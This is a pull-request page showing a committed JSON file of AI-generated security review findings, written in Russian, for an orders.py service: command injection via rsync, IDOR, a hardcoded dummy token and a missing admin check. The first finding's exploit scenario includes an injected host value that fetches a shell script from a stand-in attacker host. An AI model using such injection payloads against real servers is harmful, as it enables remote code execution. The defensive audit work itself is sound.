orders module: add auth, fix command injection, add requirements #13

Merged
testclient-admin merged 15 commits from feature/orders-module into main 2026-08-25 03:44:38 +00:00
Showing only changes of commit a0f80dfc7a - Show all commits
@@ -0,0 +1,86 @@
[
{
"id": "ai-review-0-orders.py-83",
"source": "ai-review",
"category": "command-exec",
"severity": "critical",
"confidence": 0.8,
"file": "orders.py",
"line_start": 83,
"line_end": 83,
"title": "Недостаточная очистка host от спецсимволов для командной инъекции",
"description": "Используется простая замена одиночных спецсимволов (;|&`) в host, но не экранируются другие опасные символы и конструкции, способные привести к выполнению произвольных команд при вызове rsync.",
"impact": "Возможна командная инъекция через specially crafted host, позволяющая атакующему выполнить произвольные команды на сервере с правами процесса.",
"exploit_scenario": "Атакующий отправляет POST-запрос на /admin/backup с host='example.com$(curl attacker.com/shell.sh)|other' или host='example.com; sh -c \"whoami\"'. Несмотря на замену ;|&` , в rsync возможны другие векторы инъекции через опции командной строки или интерпретацию хоста как URL с внедрением команд.",
"evidence": "escaped_host = host.replace(\";\", \"\").replace(\"|\", \"\").replace(\"&\", \"\").replace(\"`\", \"\") — недостаточно для предотвращения всех векторов инъекции. Использование подстановки в список аргументов всё ещё уязвимо к неожиданному поведению rsync.",
"recommendation": "Валидировать host по строгому белому списку (например, регулярное выражение для IP или домена), ограничить протокол и путь (например, только определённые хосты из конфига). Избегать подстановки пользовательского ввода в аргументы системных команд. Использовать безопасные альтернативы (scp, sftp с OAuth/ключами), либо запускать команду только после строгой валидации.",
"cwe": "CWE-78",
"status": "OPEN",
"created_at": "2026-08-23T17:15:43Z",
"pr_number": 13,
"commit_sha": "3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782"
},
{
"id": "ai-review-1-orders.py-32",
"source": "ai-review",
"category": "idor",
"severity": "high",
"confidence": 1.0,
"file": "orders.py",
"line_start": 32,
"line_end": 47,
"title": "Отсутствие проверки ownership заказа",
"description": "Методы GET и POST для /orders/{id} проверяют только аутентификацию, но не проверяют, что order_id принадлежит текущему пользователю. В словаре orders нет хранения user_id по умолчанию, и no authorization check на уровне заказа.",
"impact": "Любой аутентифицированный пользователь может читать и изменять чужие заказы (IDOR), что приводит к утечке и модификации чужих данных.",
"exploit_scenario": "Пользователь с токеном token_abc отправляет GET /orders/100 и получает данные чужого заказа, или POST /orders/100 с amount=0 и обнуляет чужой заказ. Это возможно без знания user_id авторизованного пользователя.",
"evidence": "def check_auth(self): ... token = auth_header[7:] ... return self._validate_token(token). Далее в do_GET и do_POST: order_id = self.path.split(\"/\")[-1]; if order_id in orders: ... orders[order_id][\"amount\"] = data[\"amount\"] — нет связи order_id и owner (user_id)",
"recommendation": "Хранить в заказах user_id, проверять, что order_id принадлежит текущему пользователю (например, из токена), и блокировать операции над чужими заказами. Добавить user_id = extract_user_from_token(token), и проверку ownership перед доступом.",
"cwe": "CWE-639",
"status": "OPEN",
"created_at": "2026-08-23T17:15:43Z",
"pr_number": 13,
"commit_sha": "3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782"
},
{
"id": "ai-review-2-orders.py-15",
"source": "ai-review",
"category": "sensitive-data",
"severity": "medium",
"confidence": 1.0,
"file": "orders.py",
"line_start": 15,
"line_end": 15,
"title": "Хардкод токена GitHub в коде",
"description": "GitHubToken хранится в исходном коде как строковая константа, несмотря на префикс dummy. Это считается плохой практикой, потенциально опасной при утечке кода.",
"impact": "Возможна утечка учётных данных в логах, артефактах, дампах памяти. Даже фейковый токен в коде сигнализирует о плохих практиках управления секретами.",
"exploit_scenario": "Атакующий клонирует репозиторий и находит GitHubToken, использует его для получения доступа к GitHub API (если он рабочий) или для атак на CI/CD, основанных на знании, что в репозитории есть «дамми» токены (возможно, другие секреты хранятся так же плохо).",
"evidence": "GitHubToken = \"ghp_dummytoken_for_backup_notifications\"",
"recommendation": "Использовать переменные окружения или внешний менеджер секретов. Загружать токен через os.getenv(\"GITHUB_TOKEN\") или подобный механизм.",
"cwe": "CWE-312",
"status": "OPEN",
"created_at": "2026-08-23T17:15:43Z",
"pr_number": 13,
"commit_sha": "3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782"
},
{
"id": "ai-review-3-orders.py-62",
"source": "ai-review",
"category": "authz",
"severity": "high",
"confidence": 1.0,
"file": "orders.py",
"line_start": 62,
"line_end": 65,
"title": "Эндпоинт /admin/backup доступен любому аутентифицированному пользователю без дополнительной авторизации",
"description": "Эндпоинт требует только Basic Bearer токен (любой валидный токен, начинающийся с token_), не проверяет роль администратора, разрешает выполнение опасных операций (запуск rsync).",
"impact": "Любой пользователь, знающий URL и имеющий любой валидный токен (включая приватные пользовательские токены), может инициировать резервное копирование, потенциально использование вредоносных хостов.",
"exploit_scenario": "Пользователь, имеющий любой токен token_* (даже для обычного доступа к заказам), отправляет POST /admin/backup с вредоносным host для эксплуатации инъекции команд. Отсутствие проверки role=admin делает endpoint открытым для всех.",
"evidence": "elif self.path == \"/admin/backup\": if not self.check_auth(): ... — нет дополнительной проверки роли пользователя (например, claim \"admin\": true в токене или отдельный header)",
"recommendation": "Добавить роль или флаг администратора в токен, проверять его при входе в /admin/backup. Или использовать отдельный API-ключ/secret только для admin-эндпоинтов, отличный от пользовательских токенов.",
"cwe": "CWE-285",
"status": "OPEN",
"created_at": "2026-08-23T17:15:43Z",
"pr_number": 13,
"commit_sha": "3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782"
}
]